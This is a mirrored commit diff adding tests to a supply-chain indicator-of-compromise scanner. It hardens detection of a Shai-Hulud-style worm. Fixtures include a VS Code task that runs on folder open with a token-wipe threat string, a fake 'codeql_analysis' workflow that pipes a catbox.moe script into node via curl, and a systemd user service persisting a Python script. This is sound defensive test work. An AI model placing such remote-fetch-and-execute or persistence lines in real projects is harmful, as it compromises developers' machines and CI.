mirror of
https://github.com/affaan-m/everything-claude-code.git
synced 2026-05-15 17:02:12 +08:00
fix: harden supply-chain IOC scan (#1918)
This commit is contained in:
@@ -168,6 +168,46 @@ function run() {
|
||||
});
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('rejects dead-man switch and workflow persistence markers', () => {
|
||||
withFixture({
|
||||
'.vscode/tasks.json': JSON.stringify({
|
||||
tasks: [{
|
||||
label: 'monitor',
|
||||
command: 'echo IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner',
|
||||
runOptions: { runOn: 'folderOpen' },
|
||||
}],
|
||||
}, null, 2),
|
||||
'.github/workflows/codeql_analysis.yml': [
|
||||
'name: codeql_analysis',
|
||||
'on: push',
|
||||
'jobs:',
|
||||
' shai-hulud:',
|
||||
' runs-on: ubuntu-latest',
|
||||
' steps:',
|
||||
' - run: curl -fsSL https://litter.catbox.moe/h8nc9u.js | node',
|
||||
].join('\n'),
|
||||
}, rootDir => {
|
||||
const result = scanSupplyChainIocs({ rootDir });
|
||||
const indicators = result.findings.map(finding => finding.indicator);
|
||||
assert.ok(indicators.includes('IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner'));
|
||||
assert.ok(indicators.includes('codeql_analysis.yml'));
|
||||
assert.ok(indicators.includes('litter.catbox.moe/h8nc9u.js'));
|
||||
});
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('rejects user-level Python persistence payloads when home scan is enabled', () => {
|
||||
withFixture({
|
||||
'home/.local/bin/pgmonitor.py': 'print("persistence")',
|
||||
'home/.config/systemd/user/pgsql-monitor.service': '[Service]\nExecStart=python3 ~/.local/bin/pgmonitor.py',
|
||||
}, rootDir => {
|
||||
const homeDir = path.join(rootDir, 'home');
|
||||
const result = scanSupplyChainIocs({ rootDir, home: true, homeDir });
|
||||
const indicators = result.findings.map(finding => finding.indicator);
|
||||
assert.ok(indicators.includes('pgmonitor.py'));
|
||||
assert.ok(indicators.includes('pgsql-monitor.service'));
|
||||
});
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('rejects installed payload filenames in node_modules', () => {
|
||||
withFixture({
|
||||
'node_modules/@tanstack/react-router/router_init.js': '/* payload */',
|
||||
|
||||
Reference in New Issue
Block a user